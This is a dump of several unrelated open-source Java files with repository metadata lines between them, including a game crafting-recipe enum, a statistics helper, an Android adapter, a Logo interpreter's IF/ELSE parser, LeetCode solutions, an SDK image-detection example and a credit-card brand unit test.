public DiamondChestplate create() {
return new DiamondChestplate();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.DIAMOND_CHESTPLATE))
.addIngredient(new RecipeItem(ItemTypes.METAL_PLATE))
.addIngredient(new RecipeItem(ItemTypes.DIAMOND, 4));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
DIAMOND_HELMET {
@Override
public String getName() {
return "Diamond Helmet";
}
@Override
public DiamondHelmet create() {
return new DiamondHelmet();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.DIAMOND_HELMET))
.addIngredient(new RecipeItem(ItemTypes.DIAMOND, 5));
}
@Override
public boolean is(Class clazz) {
return false;
}
},
DIAMOND_LEGGINGS {
@Override
public String getName() {
return "Diamond Leggings";
}
@Override
public DiamondLeggings create() {
return new DiamondLeggings();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.DIAMOND_LEGGINGS))
.addIngredient(new RecipeItem(ItemTypes.DIAMOND, 6));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
DIAMOND_SWORD {
@Override
public String getName() {
return "Diamond Sword";
}
@Override
public DiamondSword create() {
return new DiamondSword();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.DIAMOND_SWORD))
.addIngredient(new RecipeItem(ItemTypes.STICK))
.addIngredient(new RecipeItem(ItemTypes.DIAMOND, 3));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
FURNACE {
@Override
public String getName() {
return "Furnace";
}
@Override
public Furnace create() {
return new Furnace();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.FURNACE))
.addIngredient(new RecipeItem(ItemTypes.STONE, 4))
.addIngredient(new RecipeItem(ItemTypes.METAL_PLATE, 2))
.addIngredient(new RecipeItem(ItemTypes.LIGHTER));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
GLASS {
@Override
public String getName() {
return "Glass";
}
@Override
public Glass create() {
return new Glass();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.GLASS, 2))
.addIngredient(new RecipeItem(ItemTypes.SAND))
.addIngredient(new RecipeTool(ItemTypes.FURNACE, 0.5))
.addIngredient(new RecipeItem(ItemTypes.COAL, 1));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
GOLD {
@Override
public String getName() {
return "Gold";
}
@Override
public Gold create() {
return new Gold();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.GOLD, 2))
.addIngredient(new RecipeItem(ItemTypes.GOLD_INGOT))
.addIngredient(new RecipeItem(ItemTypes.COAL))
.addIngredient(new RecipeTool(ItemTypes.FURNACE, 0.5));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
GOLD_INGOT {
@Override
public String getName() {
return "Gold Ingot";
}
@Override
public GoldIngot create() {
return new GoldIngot();
}
@Override
public Recipe getRecipe() {
return new Recipe(null);
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
GOLD_SWORD {
@Override
public String getName() {
return "Gold Sword";
}
@Override
public GoldSword create() {
return new GoldSword();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.GOLD_SWORD))
.addIngredient(new RecipeItem(ItemTypes.STICK))
.addIngredient(new RecipeItem(ItemTypes.GOLD, 2));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
HEAL_POTION {
@Override
public String getName() {
return "Heal Potion";
}
@Override
public HealPotion create() {
return new HealPotion();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.HEAL_POTION))
.addIngredient(new RecipeItem(ItemTypes.APPLE))
.addIngredient(new RecipeItem(ItemTypes.GLASS, 3));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
IRON {
@Override
public String getName() {
return "Iron";
}
@Override
public Iron create() {
return new Iron();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.IRON))
.addIngredient(new RecipeItem(ItemTypes.IRON_INGOT))
.addIngredient(new RecipeItem(ItemTypes.COAL))
.addIngredient(new RecipeTool(ItemTypes.FURNACE, 0.5));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
IRON_BOOTS {
@Override
public String getName() {
return "Iron Boots";
}
@Override
public IronBoots create() {
return new IronBoots();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.IRON_BOOTS))
.addIngredient(new RecipeItem(ItemTypes.IRON, 4));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
IRON_CHESTPLATE {
@Override
public String getName() {
return "Iron Chestplate";
}
@Override
public IronChestplate create() {
return new IronChestplate();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.IRON_CHESTPLATE))
.addIngredient(new RecipeItem(ItemTypes.METAL_PLATE, 1))
.addIngredient(new RecipeItem(ItemTypes.IRON, 4));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
IRON_HELMET {
@Override
public String getName() {
return "Iron Helmet";
}
@Override
public IronHelmet create() {
return new IronHelmet();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.IRON_HELMET))
.addIngredient(new RecipeItem(ItemTypes.IRON, 5));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
IRON_INGOT {
@Override
public String getName() {
return "Iron Ingot";
}
@Override
public IronIngot create() {
return new IronIngot();
}
@Override
public Recipe getRecipe() {
return new Recipe(null);
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
IRON_LEGGINGS {
@Override
public String getName() {
return "Iron Leggings";
}
@Override
public IronLeggings create() {
return new IronLeggings();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.IRON_LEGGINGS))
.addIngredient(new RecipeItem(ItemTypes.IRON, 6));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
IRON_SWORD {
@Override
public String getName() {
return "Iron Sword";
}
@Override
public IronSword create() {
return new IronSword();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.IRON_SWORD))
.addIngredient(new RecipeItem(ItemTypes.STICK))
.addIngredient(new RecipeItem(ItemTypes.IRON, 3));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
LIGHTER {
@Override
public String getName() {
return "Lighter";
}
@Override
public Lighter create() {
return new Lighter();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.LIGHTER))
.addIngredient(new RecipeItem(ItemTypes.STONE))
.addIngredient(new RecipeItem(ItemTypes.WOOD, 2));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
MACHINE {
@Override
public String getName() {
return "Machine";
}
@Override
public Machine create() {
return new Machine();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.MACHINE))
.addIngredient(new RecipeItem(ItemTypes.CIRCUIT_BOARD))
.addIngredient(new RecipeItem(ItemTypes.METAL_PLATE, 8));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
METAL_PLATE {
@Override
public String getName() {
return "Metal Plate";
}
@Override
public MetalPlate create() {
return new MetalPlate();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.METAL_PLATE))
.addIngredient(new RecipeItem(ItemTypes.IRON, 4))
.addIngredient(new RecipeItem(ItemTypes.COAL, 16))
.addIngredient(new RecipeTool(ItemTypes.FURNACE, 1));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
SAND {
@Override
public String getName() {
return "Sand";
}
@Override
public Sand create() {
return new Sand();
}
@Override
public Recipe getRecipe() {
return new Recipe(null);
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
STICK {
@Override
public String getName() {
return "Stick";
}
@Override
public Stick create() {
return new Stick();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.STICK))
.addIngredient(new RecipeItem(ItemTypes.WOOD));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
STONE {
@Override
public String getName() {
return "Stone";
}
@Override
public Stone create() {
return new Stone();
}
@Override
public Recipe getRecipe() {
return new Recipe(null);
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
STONE_SWORD {
@Override
public String getName() {
return "Stone Sword";
}
@Override
public StoneSword create() {
return new StoneSword();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.STONE_SWORD))
.addIngredient(new RecipeItem(ItemTypes.STICK))
.addIngredient(new RecipeItem(ItemTypes.STONE, 2));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
WOOD {
@Override
public String getName() {
return "Wood";
}
@Override
public Wood create() {
return new Wood();
}
@Override
public Recipe getRecipe() {
return new Recipe(null);
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
};
public static ItemType[] get(Class clazz) {
List<ItemType> itemTypeList = new ArrayList<ItemType>();
for(ItemType itemType : ItemTypes.values()) {
if(itemType.is(clazz)) {
itemTypeList.add(itemType);
}
}
return itemTypeList.toArray(new ItemType[itemTypeList.size()]);
}
public static boolean craftable(ItemType itemType, Inventory inventory) {
if(itemType.getRecipe().getResult() == null) {
return false;
}
Recipe recipe = itemType.getRecipe();
for(RecipeItem entry : recipe.getItemIngredients()) {
if(!(inventory.containsAtLeast(entry.getItemType(), entry.getAmount()))) {
return false;
}
}
if(recipe.getToolIngredients().size() == 0) {
return true;
}
int amount = 0;
for(RecipeTool entry : recipe.getToolIngredients()) {
for(ItemStack itemStack : inventory.getContent()) {
if(!(itemStack.getItemType() == entry.getItemType())) {
continue;
}
for(Item item : itemStack.getContent()) {
if(item.getDurability() >= entry.getDurability()) {
amount++;
break;
}
}
}
}
return (amount >= recipe.getToolIngredients().size());
}
public static ItemType byName(String name) {
for(ItemType itemType : ItemTypes.values()) {
if(itemType.getName().equalsIgnoreCase(name)) {
return itemType;
}
}
return null;
}
}
| mit |
spatialhumanities/spatialviewer_spatialstore | spatialstore/src/main/java/de/i3mainz/ibr/math/OnlineStatistic.java | 991 | package de.i3mainz.ibr.math;
public class OnlineStatistic {
private int counter = 0;
private double min = Double.MAX_VALUE;
private double max = Double.MIN_VALUE;
private double sum = 0;
private double sqrSum = 0;
private int[] histo;
public OnlineStatistic(int steps) {
histo = new int[steps];
for (int i=0; i<steps; i++)
histo[i] = 0;
}
public void add(double value) {
counter++;
sum += value;
sqrSum += value*value;
if (value < min)
min = value;
if (value > max)
max = value;
if (value > 0 && value < 1) {
histo[(int)(value*histo.length)]++;
}
else {
System.out.println(value);
}
}
public double getMin() {
return min;
}
public double getMax() {
return max;
}
public double getMean() {
return sum/counter;
}
public double getVariance() {
return (sqrSum - sum*sum/counter)/(counter-1);
}
public void print() {
for (int i=0; i<histo.length; i++) {
System.out.println(i*0.01 + "\t" + histo[i]);
}
}
}
| mit |
LanternPowered/LanternServer | src/main/java/org/lanternpowered/server/config/serializer/DataViewTypeSerializer.java | 1234 | /*
* Lantern
*
* Copyright (c) LanternPowered <https://www.lanternpowered.org>
* Copyright (c) SpongePowered <https://www.spongepowered.org>
* Copyright (c) contributors
*
* This work is licensed under the terms of the MIT License (MIT). For
* a copy, see 'LICENSE.txt' or <https://opensource.org/licenses/MIT>.
*/
package org.lanternpowered.server.config.serializer;
import com.google.common.reflect.TypeToken;
import ninja.leaping.configurate.ConfigurationNode;
import ninja.leaping.configurate.objectmapping.ObjectMappingException;
import ninja.leaping.configurate.objectmapping.serialize.TypeSerializer;
import org.lanternpowered.server.data.translator.ConfigurateTranslator;
import org.spongepowered.api.data.persistence.DataView;
public final class DataViewTypeSerializer implements TypeSerializer<DataView> {
@Override
public DataView deserialize(TypeToken<?> type, ConfigurationNode value) throws ObjectMappingException {
return ConfigurateTranslator.instance().translate(value);
}
@Override
public void serialize(TypeToken<?> type, DataView obj, ConfigurationNode value) throws ObjectMappingException {
value.setValue(ConfigurateTranslator.instance().translate(obj));
}
}
| mit |
wildsmith/MaterialDesign | src/com/wildsmith/material/recycler/RecyclerAdapter.java | 1468 | package com.wildsmith.material.recycler;
import java.util.List;
import android.app.Activity;
import android.support.v7.widget.RecyclerView;
public abstract class RecyclerAdapter extends RecyclerView.Adapter<RecyclerViewHolder> {
protected List<? extends Object> recyclerObjects;
protected Activity activity;
public RecyclerAdapter(List<? extends Object> recyclerObjects, Activity activity) {
this.recyclerObjects = recyclerObjects;
this.activity = activity;
}
@Override
public void onBindViewHolder(RecyclerViewHolder holder, int position) {
Object recyclerObject = getRecyclerObject(position);
if (recyclerObject == null) {
return;
}
holder.populateView(activity, recyclerObject, position);
}
@Override
public int getItemCount() {
if (recyclerObjects == null) {
return 0;
}
return recyclerObjects.size();
}
protected Object getRecyclerObject(int position) {
if (recyclerObjects == null) {
return null;
}
if (recyclerObjects.size() <= position || position < 0) {
return null;
}
return recyclerObjects.get(position);
}
public List<? extends Object> getRecyclerObjects() {
return recyclerObjects;
}
public void setRecyclerObjects(List<? extends Object> recyclerObjects) {
this.recyclerObjects = recyclerObjects;
}
} | mit |
occloxium/Monoid | src/synth/ui/SynthesizerUserInterfaceModule.java | 220 | package synth.ui;
import synth.container.Device;
public abstract class SynthesizerUserInterfaceModule {
Device associatedDevice;
public Device getAssociatedDevice() {
return associatedDevice;
}
}
| mit |
patrickneubauer/XMLIntellEdit | individual-experiments/SandboxProject/src/com/example/example/with/anytypefeature/impl/AnytypefeatureFactoryImpl.java | 3079 | /**
*/
package com.example.example.with.anytypefeature.impl;
import com.example.example.with.anytypefeature.*;
import org.eclipse.emf.ecore.EClass;
import org.eclipse.emf.ecore.EObject;
import org.eclipse.emf.ecore.EPackage;
import org.eclipse.emf.ecore.impl.EFactoryImpl;
import org.eclipse.emf.ecore.plugin.EcorePlugin;
/**
* <!-- begin-user-doc -->
* An implementation of the model <b>Factory</b>.
* <!-- end-user-doc -->
* @generated
*/
public class AnytypefeatureFactoryImpl extends EFactoryImpl implements AnytypefeatureFactory {
/**
* Creates the default factory implementation.
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
public static AnytypefeatureFactory init() {
try {
AnytypefeatureFactory theAnytypefeatureFactory = (AnytypefeatureFactory)EPackage.Registry.INSTANCE.getEFactory(AnytypefeaturePackage.eNS_URI);
if (theAnytypefeatureFactory != null) {
return theAnytypefeatureFactory;
}
}
catch (Exception exception) {
EcorePlugin.INSTANCE.log(exception);
}
return new AnytypefeatureFactoryImpl();
}
/**
* Creates an instance of the factory.
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
public AnytypefeatureFactoryImpl() {
super();
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
@Override
public EObject create(EClass eClass) {
switch (eClass.getClassifierID()) {
case AnytypefeaturePackage.DOCUMENT_ROOT: return createDocumentRoot();
case AnytypefeaturePackage.ELEMENT1: return createElement1();
case AnytypefeaturePackage.PROPERTIES: return createProperties();
case AnytypefeaturePackage.ROOT_ELEMENT_TYPE: return createRootElementType();
default:
throw new IllegalArgumentException("The class '" + eClass.getName() + "' is not a valid classifier");
}
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
public DocumentRoot createDocumentRoot() {
DocumentRootImpl documentRoot = new DocumentRootImpl();
return documentRoot;
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
public Element1 createElement1() {
Element1Impl element1 = new Element1Impl();
return element1;
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
public Properties createProperties() {
PropertiesImpl properties = new PropertiesImpl();
return properties;
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
public RootElementType createRootElementType() {
RootElementTypeImpl rootElementType = new RootElementTypeImpl();
return rootElementType;
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
public AnytypefeaturePackage getAnytypefeaturePackage() {
return (AnytypefeaturePackage)getEPackage();
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @deprecated
* @generated
*/
@Deprecated
public static AnytypefeaturePackage getPackage() {
return AnytypefeaturePackage.eINSTANCE;
}
} //AnytypefeatureFactoryImpl
| mit |
myhgew/JGame_Slogo_Team11 | src/model/expression/IfElseExpression.java | 4401 | package model.expression;
import java.util.ArrayList;
import java.util.List;
import Exceptions.SlogoException;
import controller.TurtleCommand;
import model.Model;
import model.parser.DefaultParser;
public class IfElseExpression extends Expression {
Expression conditionExpression; //assuming one expression
List<Expression> ifCommandExpression;
List<Expression> elseCommandExpression;
/*
* IFELSE expr [ trueCommand(s) ] [ falseCommand(s) ]
* if lessp 2 3 [ fd sum 1 2 ] [ fd sum 1 sum 1 2 ]
*/
public IfElseExpression(List<String> cmdList, Model model) throws SlogoException{
super(model);
ifCommandExpression = new ArrayList<Expression>();
elseCommandExpression = new ArrayList<Expression>();
convert(cmdList);
}
@Override
public void convert (List<String> cmdList) throws SlogoException {
cmdList.remove(0); // remove if
int openBracketIndex = -1;
int closeBracketIndex = -1;
int bracketNumber = 0;
//Within [ ifCommand ]
for(int i = 0; i < cmdList.size(); i++){
if(cmdList.get(i).equals("[")){
if(openBracketIndex == -1){
openBracketIndex = i;
}
bracketNumber++;
}else if(cmdList.get(i).equals("]")){
bracketNumber--;
if(bracketNumber == 0){
closeBracketIndex = i;
break;
}
}
}
conditionExpression = parser.parse(new ArrayList<String>(cmdList.subList(0, openBracketIndex)));
//Within [ ifCommand ]
List<String> ifCommand = new ArrayList<String>(cmdList.subList(openBracketIndex+1, closeBracketIndex));
while(!ifCommand.isEmpty()){
ifCommandExpression.add(parser.parse(ifCommand));
}
// remove expr [ ifCommand ]
for(int i = 0; i <= closeBracketIndex; i++){
cmdList.remove(0);
}
openBracketIndex = -1;
closeBracketIndex = -1;
bracketNumber = 0;
//Within [ elseCommand ]
for(int i = 0; i < cmdList.size(); i++){
if(cmdList.get(i).equals("[")){
if(openBracketIndex == -1){
openBracketIndex = i;
}
bracketNumber++;
}else if(cmdList.get(i).equals("]")){
bracketNumber--;
if(bracketNumber == 0){
closeBracketIndex = i;
break;
}
}
}
List<String> elseCommands = new ArrayList<String>(cmdList.subList(openBracketIndex+1, closeBracketIndex));
while(!elseCommands.isEmpty()){
elseCommandExpression.add(parser.parse(elseCommands));
}
for(int i = 0; i <= closeBracketIndex; i++){
cmdList.remove(0);
}
}
@Override
public List<Expression> evaluate () {
return null;
}
@Override
public List<TurtleCommand> createTurtleCommands(TurtleCommand turtleCommand) throws SlogoException {
List<TurtleCommand> commandList = new ArrayList<TurtleCommand>();
NumberExpression condition = (NumberExpression) conditionExpression.evaluate().get(0);
if(condition.getNumber() == 1) {
commandList = makeTurtleCommands(ifCommandExpression, turtleCommand);
} else {
commandList = makeTurtleCommands(elseCommandExpression, turtleCommand);
}
return commandList;
}
public List<TurtleCommand> makeTurtleCommands(List<Expression> commandExpression, TurtleCommand turtleCommand) throws SlogoException {
List<TurtleCommand> commandList = new ArrayList<TurtleCommand>();
TurtleCommand latestTurtleCommand = turtleCommand;
for (Expression expression : ifCommandExpression) {
List<TurtleCommand> turtleCmds = expression.createTurtleCommands(latestTurtleCommand);
if(turtleCmds.size() != 0) { //if call another fun inside the fun, no Cmds reutrn
latestTurtleCommand = turtleCmds.get(turtleCmds.size() -1);
}
commandList.addAll(turtleCmds);
}
return commandList;
}
}
| mit |
starforever/leetcode | 115/Solution.java | 468 | public class Solution
{
public int numDistinct (String S, String T)
{
int N = S.length(), M = T.length();
int[][] numSeq = new int[N + 1][M + 1];
numSeq[0][0] = 1;
for (int i = 1; i <= N; ++i)
{
numSeq[i][0] = 1;
for (int j = 1; j <= M; ++j)
{
numSeq[i][j] = numSeq[i - 1][j];
if (S.charAt(i - 1) == T.charAt(j - 1))
numSeq[i][j] += numSeq[i - 1][j - 1];
}
}
return numSeq[N][M];
}
}
| mit |
marcinbudny/AndroidAppStructure | lib/src/main/java/com/marcinbudny/androidappstructure/lib/views/trends/TrendsView.java | 339 | package com.marcinbudny.androidappstructure.lib.views.trends;
import com.marcinbudny.androidappstructure.lib.api.contract.Trend;
public interface TrendsView {
void displayAuthenticationError();
void displayTrends(Trend.List trends);
void displayTrendsDownloadError();
void navigateToStatusesWithQuery(String query);
}
| mit |
tsottili/libtgview | src/test/java/toms/lib/libtviews/ExampleUnitTest.java | 311 | package toms.lib.libtviews;
import org.junit.Test;
import static org.junit.Assert.*;
/**
* To work on unit tests, switch the Test Artifact in the Build Variants view.
*/
public class ExampleUnitTest {
@Test
public void addition_isCorrect() throws Exception {
assertEquals(4, 2 + 2);
}
} | mit |
taylorak/surferpedia | test/tests/pages/SurferPage.java | 1806 | package tests.pages;
import models.Surfer;
import org.fluentlenium.core.FluentPage;
import org.openqa.selenium.WebDriver;
import play.Play;
// Although Eclipse marks the following two methods as deprecated,
// the no-arg versions of the methods used here are not deprecated. (as of May, 2013).
import static org.fluentlenium.core.filter.FilterConstructor.withText;
import static org.fluentlenium.core.filter.FilterConstructor.withId;
import static org.fest.assertions.Assertions.assertThat;
/**
* Illustration of the Page Object Pattern in Fluentlenium.
* @author Taylor Kennedy
*/
public class SurferPage extends FluentPage {
private String url;
/**
* Create the LoginPage.
* @param webDriver The driver.
* @param port The port.
*/
public SurferPage(WebDriver webDriver, int port) {
super(webDriver);
this.url = "http://localhost:" + port + "/surfer/" + Surfer.find.findList().get(Surfer.find.findList().size()-1).getSlug();
}
@Override
public String getUrl() {
return this.url;
}
@Override
public void isAt() {
assertThat(title()).isEqualTo("Surfer (surferpedia)");
}
/**
* Moves to the surfer update page.
* @param name The form name data.
* @param gender The form gender value.
*/
public void updateButton() {
find("#edit").click();
}
/**
* Tests the surfer update function using the bio as the changed field.
* @param name The form name data.
* @param gender The form gender value.
*/
public void updateSurfer() {
fill("#bio").with("Testing Update");
find("#submit").click();
}
/**
* Deletes a surfer from the database.
* @param name The form name data.
* @param gender The form gender value.
*/
public void delete() {
find("#delete").click();
}
}
| mit |
sadikovi/algorithms | leetcode/restore-ip-addresses.java | 915 | public class Solution {
public List<String> restoreIpAddresses(String s) {
List<String> res = new ArrayList<String>();
if (s == null || s.length() < 4 || s.length() > 12) return res;
restore(s, "", 4, res);
return res;
}
private void restore(String s, String prefix, int octets, List<String> arr) {
if (s.isEmpty() && octets != 0) return;
if (s.isEmpty() && octets == 0) {
arr.add(prefix);
return;
}
int octetLen = Math.min(3, s.length());
for (int i = 1; i <= octetLen; i++) {
String pr = s.substring(0, i);
if (isValidOctet(pr)) {
String ext = prefix.isEmpty() ? pr : prefix + "." + pr;
restore(s.substring(i), ext, octets - 1, arr);
}
}
}
private boolean isValidOctet(String str) {
if (str.length() > 1 && str.charAt(0) == '0') return false;
return str.length() <= 3 && Integer.parseInt(str) < 256;
}
}
| mit |
wzh880801/productai-java-sdk | examples/src/cn/productai/api/examples/detect/DetectExample.java | 2755 | package cn.productai.api.examples.detect;
import cn.productai.api.core.IWebClient;
import cn.productai.api.core.enums.DetectType;
import cn.productai.api.core.enums.LanguageType;
import cn.productai.api.core.exceptions.ClientException;
import cn.productai.api.examples.IExample;
import cn.productai.api.pai.entity.detect.DetectByImageFileRequest;
import cn.productai.api.pai.entity.detect.DetectResponse;
import cn.productai.api.pai.response.DetectResult;
import java.io.File;
/**
* Created by Zhong Wang on 2017/7/5.
* 3C电器检测与定位
* https://api-doc.productai.cn/doc/pai.html#3C电器检测与定位
*/
public class DetectExample implements IExample {
@Override
public void run(IWebClient client) {
System.out.println("==> Demo - 3C电器检测与定位 <==");
System.out.println("See https://api-doc.productai.cn/doc/pai.html#3C电器检测与定位 for details.\r\n");
DetectByImageFileRequest request = new DetectByImageFileRequest(DetectType.ThreeCAndElectronics);
request.setImageFile(new File(this.getClass().getResource("/").getPath() + "images/iphone.jpg"));
request.setLanguage(LanguageType.Chinese);
request.setLoc("0.2-0.2-1-1");
// you can pass the extra paras to the request
request.getOptions().put("para1", "1");
request.getOptions().put("para2", "中文");
request.getOptions().put("para3", "value3");
try {
DetectResponse response = client.getResponse(request);
System.out.println("==============================Result==============================");
for (DetectResult r : response.getDetectedBoxes()) {
// access the response directly
System.out.println(String.format("%s - %s", r.getType(), r.getScore()));
}
System.out.println("==============================Result==============================");
} catch (cn.productai.api.core.exceptions.ServerException e) {
System.out.println(String.format("ServerException occurred. ErrorCode: %s \r\n ErrorMessage: %s",
e.getErrorCode(),
e.getErrorMessage()));
e.printStackTrace();
} catch (ClientException e) {
System.out.println(String.format("ClientException occurred. ErrorCode: %s \r\n ErrorMessage: %s \r\n RequestId: %s",
e.getErrorCode(),
e.getErrorMessage(),
e.getRequestId()));
e.printStackTrace();
} catch (Exception e) {
System.out.println(String.format("%s occurred. ErrorMessage: %s", e.getClass().getName(), e.getMessage()));
e.printStackTrace();
}
}
}
| mit |
walison17/ProjetoControleVendas | SistemaVendas/src/dados/Venda.java | 2826 | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package dados;
import java.util.ArrayList;
/**
*
* @author Walison Filipe
*/
public class Venda {
private final int codigo;
private String data;
private String formaPagamento;
private double valorTotal;
private double desconto;
private String nomeCliente;
private String nomeVendedor;
private ArrayList<Pedido> listaPedidos = new ArrayList<>();
private static int contador = 1;
//metodos
public Venda(String data, String formaPagamento, double valorTotal, double desconto, String nomeCliente, String nomeVendedor, ArrayList<Pedido> pedido) {
this.data = data;
this.formaPagamento = formaPagamento;
this.valorTotal = valorTotal;
this.desconto = desconto;
this.nomeCliente = nomeCliente;
this.nomeVendedor = nomeVendedor;
this.codigo = contador;
contador ++;
listaPedidos = pedido;
}
@Override
public String toString() {
return "Venda{" + "codigo=" + codigo + ", data=" + data + ", formaPagamento=" + formaPagamento + ", valorTotal=" + valorTotal + ", desconto=" + desconto + ", nomeCliente=" + nomeCliente + ", nomeVendedor=" + nomeVendedor + ", pedido=" + listaPedidos + '}';
}
public int getCodigo() {
return codigo;
}
public String getData() {
return data;
}
public void setData(String data) {
this.data = data;
}
public String getFormaPagamento() {
return formaPagamento;
}
public void setFormaPagamento(String formaPagamento) {
this.formaPagamento = formaPagamento;
}
public double getValorTotal() {
return valorTotal;
}
public void setValorTotal(double valorTotal) {
this.valorTotal = valorTotal;
}
public double getDesconto() {
return desconto;
}
public void setDesconto(double desconto) {
this.desconto = desconto;
}
public String getNomeCliente() {
return nomeCliente;
}
public void setNomeCliente(String nomeCliente) {
this.nomeCliente = nomeCliente;
}
public String getNomeVendedor() {
return nomeVendedor;
}
public void setNomeVendedor(String nomeVendedor) {
this.nomeVendedor = nomeVendedor;
}
public ArrayList<Pedido> getPedido() {
return this.listaPedidos;
}
public void setPedido(ArrayList<Pedido> pedido) {
this.listaPedidos = pedido;
}
}
| mit |
liyong299/normal | java/src/main/java/com/ly/java/javanio/c05selector/package-info.java | 441 | /**
* 项目名称:java
* 文件包名:com.ly.java.javanio.c05selector
* 文件名称:package-info.java
* 版本信息:SCEC_Branches
* 生成日期:2016年5月10日 下午8:08:43
* Copyright (c) 2015-2015深圳市泰久信息系统股份有限公司
*
*/
/**
* 功能描述:<p color="red">Selector的使用</p>
* 文件名称:package-info.java
* @author ly
*/
package com.ly.java.javanio.c05selector; | mit |
ssporer/FerVjezbe | Vjezbe07/Zadatak7/src/main/java/hr/fer/java/vjezbe/zadatak7/service/util/LocalDateTimeUtil.java | 448 | package hr.fer.java.vjezbe.zadatak7.service.util;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
public class LocalDateTimeUtil {
private static final DateTimeFormatter formatter = DateTimeFormatter.ofPattern("dd/MM/yyyy HH:mm:ss");
public static String format(LocalDateTime localDateTime) {
if (localDateTime == null)
return null;
return localDateTime.format(formatter);
}
}
| mit |
xzl1991/TestRedisSession | src/main/java/threads/threadLocals/ThreadLocalTest.java | 910 | package threads.threadLocals;
import java.util.concurrent.TimeUnit;
/**
* @auther xzl on 18:24 2018/6/22
*/
public class ThreadLocalTest {
static final ThreadLocal<String> threadParam = new ThreadLocal<>();
public static void main(String[] args) throws InterruptedException {
//死循环,测多几次看结果
while (true) {
//线程1
new Thread(() -> {
//设置参数
threadParam.set("abc");
//输出参数
System.out.println("t1:" + threadParam.get());
//看起来像是多余操作
// threadParam.remove();
}).start();
TimeUnit.SECONDS.sleep(1);
new Thread(() -> {
//线程二,测试是否能获取abc
System.out.println("t2:" + threadParam.get());
}).start();
}
}
}
| mit |
moip/credit-card-validator | src/test/java/br/com/moip/creditcard/VisaCreditCardTest.java | 2342 | package br.com.moip.creditcard;
import org.junit.Test;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
public class VisaCreditCardTest {
@Test
public void verificaCartaoVisa() {
String validCard = "4073020000000002";
assertTrue(validCard.length() == 16);
assertTrue(VisaCreditCard.isBrandVisa(validCard));
}
@Test
public void verificaCartaoVisaInformandoCartaoMaster() {
String validCard = "5555666677778884";
assertFalse(VisaCreditCard.isBrandVisa(validCard));
}
